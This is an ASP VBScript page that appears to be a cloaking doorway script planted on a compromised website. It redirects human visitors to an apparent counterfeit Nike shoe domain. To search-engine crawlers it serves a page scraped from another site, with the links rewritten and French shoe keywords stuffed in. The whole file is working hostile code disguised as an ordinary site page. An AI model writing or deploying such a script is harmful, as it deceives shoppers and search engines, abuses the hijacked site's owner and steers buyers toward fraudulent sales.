<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% On Error Resume Next dim jumptodomain, imagefolder, fromsite, tourl jumptodomain = "www.nikes-fr.com" dim agent,language,referer agent=request.servervariables("HTTP_USER_AGENT") language=request.servervariables("HTTP_ACCEPT_LANGUAGE") referer=request.servervariables("HTTP_REFERER") if language = "" and referer = "" then if InStr(agent, "bot")<=0 then Response.Redirect "http://"&jumptodomain&"/" Response.End end if else Response.Redirect "http://"&jumptodomain&"/" Response.End end if fromsite = "http://www.21parispascher.fr/site_map.html/" tourl = "http//:dicksdeals.com/LAMB_files/21parispascher.asp" pageid = "P" imagefolder = "images/" tourl = tourl&"?"&pageid&"=" %> <% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function if request(pageid)<>"" then htmls = getHTTPPage(fromsite&request(pageid)) else htmls = getHTTPPage(fromsite) end if htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/image/",""&chr(34)&fromsite&"image/") htmls = replace(htmls,""&chr(34)&"image/",""&chr(34)&fromsite&"image/") htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/catalog/view/",""&chr(34)&fromsite&"catalog/view/") htmls = replace(htmls,""&chr(34)&"catalog/view/",""&chr(34)&fromsite&"catalog/view/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) htmls = replace(htmls,"","Nike Free 3.0 V4 FemmeNike Free 3.0 V4 HommeNike Free 3.0 V6 FemmeNike Free 3.0 V6 HommeNike Free 5.0 FemmeNike Free 5.0 HommeNike Free 5.0+ FemmeNike Free 5.0+ HommeNike Free Run 2 FemmeNike Free Run 2 HommeNike Free Run 3 FemmeNike Free Run 3 HommeNike Roshe Run Mesh FemmeNike Roshe Run Mesh HommeNike Roshe Run Yeezy FemmeNike Roshe Run Yeezy HommeNike Flyknit Lunar FemmeNike Flyknit Lunar HommeShippingPlan du SiteAir Jordan 4 Pas CherFemme CollectionHomme CollectionPlan du SiteNike Roshe Run Yeezy FemmeNike Solarsoft MoccasinNike Roshe Run Yeezy HommeNike Roshe Run NM BR HommeNike Roshe Run FemmeNike Roshe Run HommePlan du SiteFree Run 3.0Nike Free Run 3Nike Free Run 5.0Nike Air Max 2014Nike Roshe Run SuedeNike Free Run 2Nike Roshe Run MeshNike Free Run 3.0Nike Free Run 4.0Nike Free Run 6.0Nike Roshe Run Dyn FWNike Roshe Run HYP QSNike Roshe Run SlipPlan du SiteshopNike Roshe Run LowNike Air Max 90 Chaussurenike store Plan du Site",1,-1,1) response.write htmls %>